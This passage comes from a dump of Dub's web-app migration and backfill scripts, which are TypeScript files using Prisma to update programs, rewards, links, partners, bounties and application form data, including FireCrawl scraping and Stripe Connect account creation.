    "content": "import { prisma } from \"@dub/prisma\";\nimport FireCrawlApp from \"@mendable/firecrawl-js\";\nimport \"dotenv-flow/config\";\n\nif (!process.env.FIRECRAWL_API_KEY)\n  throw new Error(\"FIRECRAWL_API_KEY is not set\");\n\n// Initialize FireCrawl\nconst firecrawl = new FireCrawlApp({\n  apiKey: process.env.FIRECRAWL_API_KEY,\n});\n\n// Function to scrape website content\nasync function scrapeWebsite(url: string) {\n  try {\n    const scrapeResult = await firecrawl.scrapeUrl(url, {\n      formats: [\"markdown\"],\n      onlyMainContent: true,\n      parsePDF: false,\n      maxAge: 14400000, // 4 hours cache\n      excludeTags: [\"img\"],\n    });\n\n    if (!scrapeResult.success) {\n      throw new Error(scrapeResult.error || \"Failed to scrape\");\n    }\n\n    return {\n      content: scrapeResult.markdown || \"\",\n      title: scrapeResult.metadata?.title || \"\",\n      description: scrapeResult.metadata?.description || \"\",\n    };\n  } catch (error) {\n    console.error(`Error scraping ${url}:`, error);\n    return null;\n  }\n}\n\n// Main processing function\nasync function main() {\n  console.log(\"Starting program description backfill...\");\n\n  const programs = await prisma.program.findMany({\n    select: {\n      id: true,\n      name: true,\n      url: true,\n      description: true,\n    },\n    where: {\n      addedToMarketplaceAt: {\n        not: null,\n      },\n      url: {\n        not: null,\n      },\n      description: null,\n    },\n  });\n\n  console.log(`Found ${programs.length} programs to backfill descriptions`);\n\n  let successCount = 0;\n  let errorCount = 0;\n\n  // Process each program\n  for (let i = 0; i < programs.length; i++) {\n    const program = programs[i];\n    console.log(`\\n[${i + 1}/${programs.length}] Processing: ${program.name}`);\n\n    if (!program.url) {\n      console.log(`  Skipping: No URL provided`);\n      errorCount++;\n      continue;\n    }\n\n    // Scrape website\n    console.log(`  Scraping: ${program.url}`);\n    const scraped = await scrapeWebsite(program.url);\n\n    if (!scraped) {\n      console.log(`  Error: Failed to scrape website`);\n      errorCount++;\n      continue;\n    }\n\n    if (!scraped.description) {\n      console.log(`  Error: Failed to generate description`);\n      errorCount++;\n      continue;\n    }\n\n    // Update program description\n    await prisma.program.update({\n      where: { id: program.id },\n      data: { description: scraped.description },\n    });\n\n    console.log(\n      `  ✓ Updated description: ${scraped.description.substring(0, 100)}...`,\n    );\n    successCount++;\n\n    // Add delay to respect rate limits\n    await new Promise((resolve) => setTimeout(resolve, 1000));\n  }\n\n  console.log(`\\nCompleted: ${successCount} successful, ${errorCount} errors`);\n}\n\nmain()\n  .catch((error) => {\n    console.error(\"Script failed:\", error);\n    process.exit(1);\n  })\n  .finally(async () => {\n    await prisma.$disconnect();\n  });\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-program-marketplace.ts",
    "content": "import { DEFAULT_PARTNER_GROUP } from \"@/lib/zod/schemas/groups\";\nimport { prisma } from \"@dub/prisma\";\nimport FireCrawlApp from \"@mendable/firecrawl-js\";\nimport \"dotenv-flow/config\";\n\nif (!process.env.FIRECRAWL_API_KEY)\n  throw new Error(\"FIRECRAWL_API_KEY is not set\");\n\n// Initialize FireCrawl\nconst firecrawl = new FireCrawlApp({\n  apiKey: process.env.FIRECRAWL_API_KEY,\n});\n\n// Function to scrape website content\nasync function scrapeWebsite(url: string) {\n  try {\n    const scrapeResult = await firecrawl.scrapeUrl(url, {\n      formats: [\"markdown\"],\n      onlyMainContent: true,\n      parsePDF: false,\n      maxAge: 14400000, // 4 hours cache\n      excludeTags: [\"img\"],\n    });\n\n    if (!scrapeResult.success) {\n      throw new Error(scrapeResult.error || \"Failed to scrape\");\n    }\n\n    return {\n      content: scrapeResult.markdown || \"\",\n      title: scrapeResult.metadata?.title || \"\",\n      description: scrapeResult.metadata?.description || \"\",\n    };\n  } catch (error) {\n    console.error(`Error scraping ${url}:`, error);\n    return null;\n  }\n}\n\nasync function main() {\n  const programToAdd = await prisma.program.findUniqueOrThrow({\n    where: {\n      slug: \"\",\n      groups: {\n        some: {\n          slug: DEFAULT_PARTNER_GROUP.slug,\n          applicationFormPublishedAt: {\n            not: null,\n          },\n        },\n      },\n    },\n  });\n\n  if (!programToAdd.url) {\n    throw new Error(\"Program URL is not set\");\n  }\n\n  const scraped = await scrapeWebsite(programToAdd.url);\n\n  const res = await prisma.program.update({\n    where: {\n      id: programToAdd.id,\n    },\n    data: {\n      addedToMarketplaceAt: new Date(),\n      description: scraped?.description || null,\n    },\n  });\n\n  console.log(\n    `Added ${res.name} to the marketplace with description: ${res.description}`,\n  );\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-referral-links.ts",
    "content": "import { prefixWorkspaceId } from \"@/lib/api/workspaces/workspace-id\";\nimport { dub } from \"@/lib/dub\";\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const workspaces = await prisma.project\n    .findMany({\n      where: {\n        slug: {\n          in: [\"dub\", \"steven\", \"acme\"],\n        },\n      },\n      select: {\n        id: true,\n        slug: true,\n      },\n      orderBy: {\n        createdAt: \"asc\",\n      },\n    })\n    .then((workspaces) =>\n      workspaces.map((workspace) => ({\n        id: prefixWorkspaceId(workspace.id),\n        slug: workspace.slug,\n      })),\n    );\n\n  console.table(workspaces.slice(0, 10));\n\n  const res = await dub.links.createMany(\n    workspaces.map((workspace) => ({\n      domain: \"refer.dub.co\",\n      key: workspace.slug,\n      url: \"https://dub.co\",\n      externalId: prefixWorkspaceId(workspace.id), // attaching the workspace ID as the externalId for easy updates later on: https://d.to/externalId\n      tagIds: [\"cm000srqx0004o6ldehod07zc\"], // tagging these links with the \"Referral links\" tag\n      trackConversion: true, // enable conversion tracking for these links\n    })),\n  );\n\n  console.log(res);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-reward-activity-log.ts",
    "content": "import { trackActivityLog } from \"@/lib/api/activity-log/track-activity-log\";\nimport { serializeReward } from \"@/lib/api/partners/serialize-reward\";\nimport { RewardProps } from \"@/lib/types\";\nimport { REWARD_EVENT_TO_RESOURCE_TYPE } from \"@/lib/zod/schemas/activity-log\";\nimport { prisma } from \"@dub/prisma\";\nimport { Reward } from \"@dub/prisma/client\";\nimport { ACME_PROGRAM_ID } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\n\nfunction toRewardActivitySnapshot(reward: RewardProps) {\n  return {\n    event: reward.event,\n    type: reward.type,\n    amountInCents: reward.amountInCents ?? null,\n    amountInPercentage: reward.amountInPercentage ?? null,\n    maxDuration: reward.maxDuration ?? null,\n    description: reward.description ?? null,\n    tooltipDescription: reward.tooltipDescription ?? null,\n    modifiers: reward.modifiers ?? null,\n  };\n}\n\n// REMOVE the following before running this script:\n// - \"server-only\" from serialize-reward.ts\n// - import { logger } from \"@/lib/axiom/server\" from track-activity-log.ts\nasync function main() {\n  const rewards = await prisma.reward.findMany({\n    where: {\n      programId: ACME_PROGRAM_ID,\n    },\n    include: {\n      program: true,\n      clickPartnerGroup: true,\n      leadPartnerGroup: true,\n      salePartnerGroup: true,\n    },\n  });\n\n  if (rewards.length === 0) {\n    return;\n  }\n\n  await trackActivityLog(\n    rewards.map((reward) => ({\n      workspaceId: reward.program.workspaceId,\n      programId: reward.program.id,\n      resourceId: reward.id,\n      parentResourceType: \"group\",\n      parentResourceId:\n        reward.clickPartnerGroup?.id ??\n        reward.leadPartnerGroup?.id ??\n        reward.salePartnerGroup?.id,\n      resourceType: REWARD_EVENT_TO_RESOURCE_TYPE[reward.event],\n      action: \"reward.created\",\n      createdAt: reward.createdAt,\n      changeSet: {\n        reward: {\n          old: null,\n          new: toRewardActivitySnapshot(serializeReward(reward as Reward)),\n        },\n      },\n    })),\n  );\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-reward-modifier-ids.ts",
    "content": "import { RewardConditions } from \"@/lib/types\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport \"dotenv-flow/config\";\nimport { v4 as uuid } from \"uuid\";\n\nasync function main() {\n  const rewards = await prisma.reward.findMany({\n    where: {\n      modifiers: {\n        not: Prisma.DbNull,\n      },\n    },\n    select: {\n      id: true,\n      modifiers: true,\n    },\n  });\n\n  if (rewards.length === 0) {\n    return;\n  }\n\n  for (const reward of rewards) {\n    const modifiers = reward.modifiers as RewardConditions[];\n\n    const hasMissingId = modifiers.some(\n      (m: { id?: string }) => m && typeof m === \"object\" && m.id == null,\n    );\n\n    if (!hasMissingId) {\n      console.log(\n        `Reward ${reward.id} has no missing modifier IDs, skipping...`,\n      );\n      continue;\n    }\n\n    const updatedModifiers = modifiers.map((m: RewardConditions) => {\n      return {\n        ...m,\n        id: m.id ?? uuid(),\n      };\n    });\n\n    await prisma.reward.update({\n      where: { id: reward.id },\n      data: { modifiers: updatedModifiers },\n    });\n\n    console.log(\n      `Updated reward ${reward.id} with ${updatedModifiers.length} modifiers`,\n    );\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-saml-sso.ts",
    "content": "import { isGenericEmail } from \"@/lib/is-generic-email\";\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const workspaces = await prisma.project.findMany({\n    where: {\n      ssoEmailDomain: null,\n      plan: \"enterprise\",\n    },\n    select: {\n      id: true,\n      name: true,\n      ssoEmailDomain: true,\n      users: {\n        where: {\n          role: \"owner\",\n        },\n        orderBy: {\n          createdAt: \"asc\",\n        },\n        take: 1,\n        select: {\n          user: {\n            select: {\n              email: true,\n            },\n          },\n        },\n      },\n    },\n  });\n\n  const workspacesToUpdate: any[] = [];\n\n  for (const workspace of workspaces) {\n    const email = workspace.users[0]?.user?.email;\n    const emailDomain = email ? email.split(\"@\")[1]?.toLowerCase() : undefined;\n\n    if (!emailDomain || (email && isGenericEmail(email))) {\n      console.log(\n        `Workspace ${workspace.name}'s email domain (${emailDomain}) is invalid or generic, skipping...`,\n      );\n      continue;\n    }\n\n    workspacesToUpdate.push({\n      id: workspace.id,\n      name: workspace.name,\n      ssoEmailDomain: emailDomain,\n    });\n  }\n\n  console.table(workspacesToUpdate);\n\n  await Promise.allSettled(\n    workspacesToUpdate.map((workspace) =>\n      prisma.project.update({\n        where: {\n          id: workspace.id,\n        },\n        data: {\n          ssoEmailDomain: workspace.ssoEmailDomain,\n        },\n      }),\n    ),\n  );\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-short-links.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { linkConstructorSimple } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const batchSize = 500;\n  let processedCount = 0;\n\n  while (true) {\n    const links = await prisma.link.findMany({\n      where: {\n        shortLink: \"null\",\n      },\n      select: {\n        id: true,\n        domain: true,\n        key: true,\n      },\n      take: batchSize,\n    });\n\n    if (links.length === 0) {\n      break;\n    }\n\n    const results = await Promise.allSettled(\n      links.map((link) =>\n        prisma.link.update({\n          where: { id: link.id },\n          data: {\n            shortLink: linkConstructorSimple({\n              domain: link.domain,\n              key: link.key,\n            }),\n          },\n        }),\n      ),\n    );\n\n    processedCount += results.filter((r) => r.status === \"fulfilled\").length;\n    console.log(`Processed ${processedCount} links`);\n  }\n\n  console.log(\"Backfill complete\");\n}\n\nmain()\n  .catch((e) => {\n    console.error(e);\n    process.exit(1);\n  })\n  .finally(async () => {\n    await prisma.$disconnect();\n  });\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-stripe-connect.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport { stripeConnectClient } from \"../stripe/connect-client\";\n\nasync function main() {\n  const partners = await prisma.partner.findMany({\n    where: {\n      stripeConnectId: null,\n      email: {\n        not: null,\n      },\n    },\n    take: 5,\n    orderBy: {\n      createdAt: \"asc\",\n    },\n  });\n\n  await Promise.allSettled(\n    partners.map(async (partner) => {\n      const [firstName, lastName] = partner.name.split(\" \");\n      const res = await stripeConnectClient.accounts.create({\n        type: \"express\",\n        business_type: \"individual\",\n        email: partner.email!,\n        country: partner.country!,\n        individual: {\n          first_name: firstName,\n          last_name: lastName,\n          email: partner.email!,\n        },\n        capabilities: {\n          transfers: {\n            requested: true,\n          },\n          ...(partner.country === \"US\" && {\n            card_payments: {\n              requested: true,\n            },\n          }),\n        },\n        ...(partner.country !== \"US\" && {\n          tos_acceptance: { service_agreement: \"recipient\" },\n        }),\n      });\n\n      console.log(\n        `New Stripe Connect account created for ${partner.name}: ${res.id}`,\n      );\n\n      await prisma.partner.update({\n        where: {\n          id: partner.id,\n        },\n        data: {\n          stripeConnectId: res.id,\n        },\n      });\n    }),\n  );\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-submission-completedat.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { ACME_PROGRAM_ID } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const completedSubmissions = await prisma.bountySubmission.findMany({\n    where: {\n      status: { in: [\"submitted\", \"approved\"] },\n      programId: ACME_PROGRAM_ID,\n      completedAt: null,\n    },\n  });\n\n  console.log(`Found ${completedSubmissions.length} submissions to backfill`);\n\n  for (const submission of completedSubmissions) {\n    const res = await prisma.bountySubmission.update({\n      where: { id: submission.id },\n      data: { completedAt: submission.updatedAt },\n    });\n    console.log(\n      `Updated submission ${submission.id} to completedAt: ${res.completedAt}`,\n    );\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-total-commissions.ts",
    "content": "import { syncTotalCommissions } from \"@/lib/api/partners/sync-total-commissions\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const commissions = await prisma.commission.groupBy({\n    by: [\"partnerId\", \"programId\"],\n    where: {\n      earnings: {\n        gt: 0,\n      },\n      status: {\n        in: [\"pending\", \"processed\", \"paid\"],\n      },\n    },\n    _sum: {\n      earnings: true,\n    },\n    orderBy: {\n      _sum: {\n        earnings: \"desc\",\n      },\n    },\n  });\n\n  console.table(\n    `Found ${commissions.length} partner-program pairs with commissions`,\n  );\n\n  const where: Prisma.ProgramEnrollmentWhereInput = {\n    OR: commissions.map(({ partnerId, programId }) => ({\n      partnerId,\n      programId,\n    })),\n    totalCommissions: 0,\n  };\n\n  const programEnrollmentsToUpdate = await prisma.programEnrollment.findMany({\n    where,\n    take: 100,\n  });\n\n  for (const programEnrollment of programEnrollmentsToUpdate) {\n    await syncTotalCommissions({\n      partnerId: programEnrollment.partnerId,\n      programId: programEnrollment.programId,\n    });\n  }\n\n  console.log(\n    `Updated ${programEnrollmentsToUpdate.length} program enrollments`,\n  );\n\n  const remainingProgramEnrollments = await prisma.programEnrollment.count({\n    where,\n  });\n\n  console.log(\n    `${remainingProgramEnrollments} remaining program enrollments to update`,\n  );\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/migrate-application-formdata.ts",
    "content": "// @ts-nocheck -- contains old schema types\n\nimport { DEFAULT_PARTNER_GROUP } from \"@/lib/zod/schemas/groups\";\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport { v4 as uuid } from \"uuid\";\n\nconst defaultApplicationFormData = (program) => {\n  return {\n    label: program.applicationFormData?.label || \"\",\n    title: program.applicationFormData?.title || \"\",\n    description: program.applicationFormData?.description || \"\",\n    fields: [\n      {\n        id: uuid(),\n        type: \"short-text\",\n        label: \"Website / Social media channel\",\n        required: true,\n        data: {\n          placeholder: \"https://example.com\",\n        },\n      },\n      {\n        id: uuid(),\n        type: \"long-text\",\n        label: `How do you plan to promote ${program?.name ?? \"us\"}?`,\n        required: true,\n        data: {\n          placeholder: \"\",\n        },\n      },\n      {\n        id: uuid(),\n        type: \"long-text\",\n        label: \"Any additional questions or comments?\",\n        required: false,\n        data: {\n          placeholder: \"\",\n        },\n      },\n    ],\n  };\n};\n\nasync function main() {\n  const programs = await prisma.program.findMany({\n    include: {\n      groups: true,\n    },\n  });\n\n  console.log(`Found ${programs.length} programs to update.`);\n  console.table(programs, [\"name\", \"slug\", \"landerPublishedAt\"]);\n\n  for (const program of programs) {\n    const groupIds = program.groups.map(({ id }) => id);\n\n    // Use the default applicationFormData\n    const applicationFormData = defaultApplicationFormData(program);\n\n    const updatedGroups = await prisma.partnerGroup.updateMany({\n      where: {\n        id: {\n          in: groupIds,\n        },\n      },\n      data: {\n        applicationFormData,\n      },\n    });\n    console.log(\n      `Updated ${updatedGroups.count} groups with the program application form data`,\n    );\n\n    const updatedDefaultGroup = await prisma.partnerGroup.update({\n      where: {\n        programId_slug: {\n          programId: program.id,\n          slug: DEFAULT_PARTNER_GROUP.slug,\n        },\n      },\n      data: {\n        applicationFormPublishedAt: program.landerPublishedAt || new Date(),\n      },\n    });\n    console.log(\n      `Updated default group applicationFormPublishedAt to ${updatedDefaultGroup.applicationFormPublishedAt}`,\n    );\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/migrate-application-submissions.ts",
    "content": "// @ts-nocheck - old migration script\n\nimport { ProgramProps } from \"@/lib/types\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma, ProgramApplication } from \"@dub/prisma/client\";\nimport \"dotenv-flow/config\";\nimport { v4 as uuid } from \"uuid\";\n\nconst defaultApplicationFormDataWithValues = (\n  program: ProgramProps,\n  application: ProgramApplication,\n) => {\n  return {\n    fields: [\n      {\n        id: uuid(),\n        type: \"short-text\",\n        label: \"Website / Social media channel\",\n        required: true,\n        data: {\n          placeholder: \"https://example.com\",\n        },\n        value: application.website || \"\",\n      },\n      {\n        id: uuid(),\n        type: \"long-text\",\n        label: `How do you plan to promote ${program?.name ?? \"us\"}?`,\n        required: true,\n        value: application.proposal || \"\",\n        data: {\n          placeholder: \"\",\n        },\n      },\n      {\n        id: uuid(),\n        type: \"long-text\",\n        label: \"Any additional questions or comments?\",\n        required: false,\n        value: application.comments || \"\",\n        data: {\n          placeholder: \"\",\n        },\n      },\n    ],\n  };\n};\n\nasync function main() {\n  const programs = await prisma.program.findMany({\n    where: {\n      applications: {\n        some: {},\n      },\n    },\n    orderBy: {\n      createdAt: \"desc\",\n    },\n  });\n\n  for (const program of programs) {\n    // Now that we have applicationFormData we need to migrate all the applications for the program\n    // by moving the contents of website, proposal, and comments into the formData field of the application\n    const applications = await prisma.programApplication.findMany({\n      where: {\n        programId: program.id,\n        formData: {\n          equals: Prisma.DbNull,\n        },\n      },\n    });\n\n    console.log(`Found ${applications.length} applications to update`);\n\n    for (const application of applications) {\n      await prisma.programApplication.update({\n        where: { id: application.id },\n        data: {\n          formData: defaultApplicationFormDataWithValues(program, application),\n        },\n      });\n      console.log(`Updated application ${application.id}`);\n    }\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/migrate-bounties-submission-requirements.ts",
    "content": "import { submissionRequirementsSchema } from \"@/lib/zod/schemas/bounties\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { prettyPrint } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\n\n// Standardize domains into links\nasync function main() {\n  const bounties = await prisma.bounty.findMany({\n    where: {\n      submissionRequirements: {\n        not: Prisma.JsonNull,\n      },\n    },\n  });\n\n  for (const bounty of bounties) {\n    const submissionRequirements = bounty.submissionRequirements;\n    if (Array.isArray(submissionRequirements)) {\n      const newSubmissionRequirements = submissionRequirementsSchema.parse({\n        ...(submissionRequirements.includes(\"image\")\n          ? { image: { max: 4 } }\n          : {}),\n        ...(submissionRequirements.includes(\"url\") ? { url: { max: 10 } } : {}),\n      });\n      await prisma.bounty.update({\n        where: { id: bounty.id },\n        data: { submissionRequirements: newSubmissionRequirements },\n      });\n      console.log(\n        \"Updated bounty\",\n        bounty.id,\n        prettyPrint(newSubmissionRequirements),\n      );\n    }\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/migrate-campaign-message-to-markdown.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  let processedCount = 0;\n  let batchNumber = 0;\n  let cursor: string | undefined = undefined;\n\n  while (true) {\n    const messages = await prisma.message.findMany({\n      where: {\n        type: \"campaign\",\n      },\n      select: {\n        id: true,\n        text: true,\n      },\n      take: 100,\n      ...(cursor && {\n        skip: 1,\n        cursor: {\n          id: cursor,\n        },\n      }),\n      orderBy: {\n        id: \"asc\",\n      },\n    });\n\n    if (messages.length === 0) {\n      break;\n    }\n\n    for (const message of messages) {\n      await prisma.message.update({\n        where: { id: message.id },\n        data: { text: convertToMarkdown(message.text) },\n      });\n    }\n\n    batchNumber++;\n    processedCount += messages.length;\n    cursor = messages[messages.length - 1].id;\n\n    console.log(\n      `Processed batch ${batchNumber}: ${messages.length} messages updated (total: ${processedCount})`,\n    );\n  }\n\n  console.log(\n    `Migration completed. Total messages processed: ${processedCount}`,\n  );\n}\n\nfunction convertToMarkdown(text: string): string {\n  let lines = text.split(\"\\n\");\n\n  const convertedLines = lines.map((line) => {\n    const trimmedLine = line.trim();\n\n    if (!trimmedLine) {\n      return \"\";\n    }\n\n    if (/^[✦•\\-]\\s/.test(trimmedLine)) {\n      return \"- \" + trimmedLine.substring(2);\n    }\n\n    if (/^\\d+\\.\\s/.test(trimmedLine)) {\n      return trimmedLine;\n    }\n\n    const urlRegex = /(https?:\\/\\/[^\\s]+)/g;\n    return trimmedLine.replace(urlRegex, (url) => `[${url}](${url})`);\n  });\n\n  return convertedLines.join(\"\\n\");\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/migrate-discounts.ts",
    "content": "// @ts-nocheck – this is a one-time migration script for\n// when we migrate the program-wide discounts to the new schema\n\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const nonDefaultDiscounts = await prisma.discount.findMany({\n    where: {\n      defaultForProgram: null,\n    },\n    include: {\n      _count: {\n        select: {\n          programEnrollments: true,\n        },\n      },\n    },\n  });\n  console.log(\n    `Found ${nonDefaultDiscounts.reduce(\n      (acc, discount) => acc + discount._count.programEnrollments,\n      0,\n    )} program enrollments with non-default discounts`,\n  );\n\n  // Migrate program-wide discounts\n  const programDiscount = await prisma.discount.findFirst({\n    where: {\n      defaultForProgram: {\n        isNot: null,\n      },\n      default: false,\n    },\n    select: {\n      id: true,\n      programId: true,\n    },\n  });\n\n  console.log({ programDiscount });\n\n  if (!programDiscount) {\n    console.log(\"No program discounts to migrate\");\n    return;\n  }\n\n  const { id: discountId, programId } = programDiscount;\n\n  while (true) {\n    const programEnrollmentsToUpdate = await prisma.programEnrollment.findMany({\n      where: {\n        programId,\n        discountId: null, // only update if the discountId is null\n      },\n      take: 500,\n    });\n\n    if (programEnrollmentsToUpdate.length === 0) {\n      break;\n    }\n\n    const data = await prisma.programEnrollment.updateMany({\n      where: {\n        id: {\n          in: programEnrollmentsToUpdate.map((enrollment) => enrollment.id),\n        },\n      },\n      data: {\n        discountId,\n      },\n    });\n\n    console.log(`Updated ${data.count} program enrollments`);\n  }\n\n  // Update the default column in the Reward table\n  await prisma.discount.update({\n    where: {\n      id: programDiscount.id,\n    },\n    data: {\n      default: true,\n    },\n  });\n\n  console.log(\n    `Updated program-wide discount ${programDiscount.id} to use default: true`,\n  );\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/migrate-domains.ts",
    "content": "// @ts-nocheck – old migration script\n\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\n// Standardize domains into links\nasync function main() {\n  const domains = await prisma.domain.findMany({\n    include: {\n      project: {\n        select: {\n          id: true,\n          plan: true,\n          slug: true,\n          users: {\n            select: {\n              userId: true,\n            },\n            take: 1,\n          },\n        },\n      },\n    },\n    skip: 4000,\n    take: 1000, // TODO: Adjust this based on the number of domains\n  });\n\n  // Create links for each domain\n  const newLinks = domains.map((domain) => {\n    if (domain.project?.users.length === 0) {\n      console.log(`project ${domain.project.slug} has no users`);\n    }\n    return {\n      id: domain.id,\n      domain: domain.slug,\n      key: \"_root\",\n      url: domain.target || \"\",\n      description: domain.description,\n      publicStats: domain.publicStats,\n      projectId: domain.projectId,\n      userId: domain.project?.users[0]?.userId || null,\n      createdAt: domain.createdAt,\n      lastClicked: domain.lastClicked,\n      clicks: domain.clicks,\n      ...(domain.project?.plan === \"free\"\n        ? {\n            expiredUrl: null,\n            rewrite: false,\n          }\n        : {\n            expiredUrl: domain.expiredUrl || null,\n            rewrite: domain.type === \"rewrite\",\n          }),\n    };\n  });\n  console.log(newLinks);\n\n  const result = await prisma.link.createMany({\n    data: newLinks,\n    skipDuplicates: true,\n  });\n\n  console.log(`Added ${result.count} links`);\n\n  // const links = await prisma.link.deleteMany({\n  //   where: {\n  //     projectId: \"cl7wsy2836920mjrb352g5wfx\",\n  //     key: \"_root\",\n  //   },\n  // });\n\n  // console.log(links);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/migrate-images.ts",
    "content": "import { storage } from \"@/lib/storage\";\nimport { prisma } from \"@dub/prisma\";\nimport { truncate } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const imagesToMigrate = await prisma.link.findMany({\n    where: {\n      proxy: true,\n      image: {\n        startsWith: \"https://res.cloudinary.com\",\n      },\n    },\n    select: {\n      id: true,\n      image: true,\n    },\n    take: 30,\n  });\n\n  const res = await Promise.allSettled(\n    imagesToMigrate.map(async (link) => {\n      try {\n        const { url } = await storage.upload({\n          key: `images/${link.id}`,\n          body: link.image!, // this exists since we're filtering above\n          opts: {\n            width: 1200,\n            height: 630,\n          },\n        });\n\n        await prisma.link.update({\n          where: {\n            id: link.id,\n          },\n          data: {\n            image: url,\n          },\n        });\n\n        return {\n          url,\n          original: truncate(link.image, 80),\n        };\n      } catch (e) {\n        if (e.message === \"Failed to fetch URL: Not Found\") {\n          // double check if it's actually 404\n          const res = await fetch(link.image!);\n          if (res.status === 404) {\n            console.log(`Image deleted: ${link.image}`);\n            await prisma.link.update({\n              where: {\n                id: link.id,\n              },\n              data: {\n                image: null,\n              },\n            });\n          }\n        }\n        return {\n          url: \"deleted: \" + link.id,\n          original: truncate(link.image, 80),\n        };\n      }\n    }),\n  ).then((res) =>\n    res.map((r) => {\n      if (r.status === \"fulfilled\") {\n        return r.value;\n      } else {\n        return r.reason;\n      }\n    }),\n  );\n\n  console.table(res);\n\n  // TODO: migrate project logos\n  // TODO: migrate user avatars\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/migrate-integrations.ts",
    "content": "import \"dotenv-flow/config\";\n\nasync function main() {\n  // Step 1: Migrate OAuthApps to Integrations\n  // const oAuthApps = await prisma.oAuthApp.findMany({\n  //   select: {\n  //     id: true,\n  //     name: true,\n  //     slug: true,\n  //     description: true,\n  //     readme: true,\n  //     developer: true,\n  //     website: true,\n  //     logo: true,\n  //     screenshots: true,\n  //     userId: true,\n  //     projectId: true,\n  //     verified: true,\n  //     createdAt: true,\n  //     updatedAt: true,\n  //   },\n  // });\n  // for (const oAuthApp of oAuthApps) {\n  //   const data = {\n  //     ...oAuthApp,\n  //     screenshots: oAuthApp.screenshots ? oAuthApp.screenshots : [],\n  //   };\n  //   const integration = await prisma.integration.create({ data });\n  //   await prisma.oAuthApp.update({\n  //     where: { slug: oAuthApp.slug },\n  //     data: { integrationId: integration.id },\n  //   });\n  // }\n  // ----------------------------\n  // Step 2: Migrate OAuthAuthorizedApp to InstalledIntegration\n  // const authorizedApps = await prisma.oAuthAuthorizedApp.findMany({\n  //   select: {\n  //     id: true,\n  //     userId: true,\n  //     clientId: true,\n  //     projectId: true,\n  //     createdAt: true,\n  //     oAuthApp: {\n  //       select: {\n  //         integration: {\n  //           select: {\n  //             id: true,\n  //           },\n  //         },\n  //       },\n  //     },\n  //   },\n  // });\n  // for (const authorizedApp of authorizedApps) {\n  //   if (!authorizedApp.oAuthApp.integration) {\n  //     console.log(\n  //       `Integration not found for authorized app ${authorizedApp.id}`,\n  //     );\n  //     continue;\n  //   }\n  //   await prisma.installedIntegration.create({\n  //     data: {\n  //       id: authorizedApp.id,\n  //       integrationId: authorizedApp.oAuthApp.integration.id,\n  //       projectId: authorizedApp.projectId,\n  //       userId: authorizedApp.userId,\n  //       createdAt: authorizedApp.createdAt,\n  //       updatedAt: authorizedApp.createdAt,\n  //     },\n  //   });\n  // }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/migrate-lander-data.ts",
    "content": "// @ts-nocheck -- contains old schema types\n\nimport { DEFAULT_PARTNER_GROUP } from \"@/lib/zod/schemas/groups\";\nimport { programLanderSchema } from \"@/lib/zod/schemas/program-lander\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const programs = await prisma.program.findMany({\n    where: {\n      landerData: {\n        not: Prisma.DbNull,\n      },\n    },\n    include: {\n      groups: true,\n    },\n  });\n\n  console.log(`Found ${programs.length} programs with lander data.`);\n  console.table(programs, [\"name\", \"slug\", \"landerPublishedAt\"]);\n\n  for (const program of programs) {\n    const groupIds = program.groups.map(({ id }) => id);\n    const programLanderData = program.landerData\n      ? programLanderSchema.parse(program.landerData)\n      : Prisma.DbNull;\n\n    // Use the default landerData\n    const updatedGroups = await prisma.partnerGroup.updateMany({\n      where: {\n        id: {\n          in: groupIds,\n        },\n      },\n      data: {\n        landerData: programLanderData,\n      },\n    });\n\n    console.log(\n      `Updated ${updatedGroups.count} groups with program lander data`,\n    );\n\n    if (program.landerPublishedAt) {\n      const updatedDefaultGroup = await prisma.partnerGroup.update({\n        where: {\n          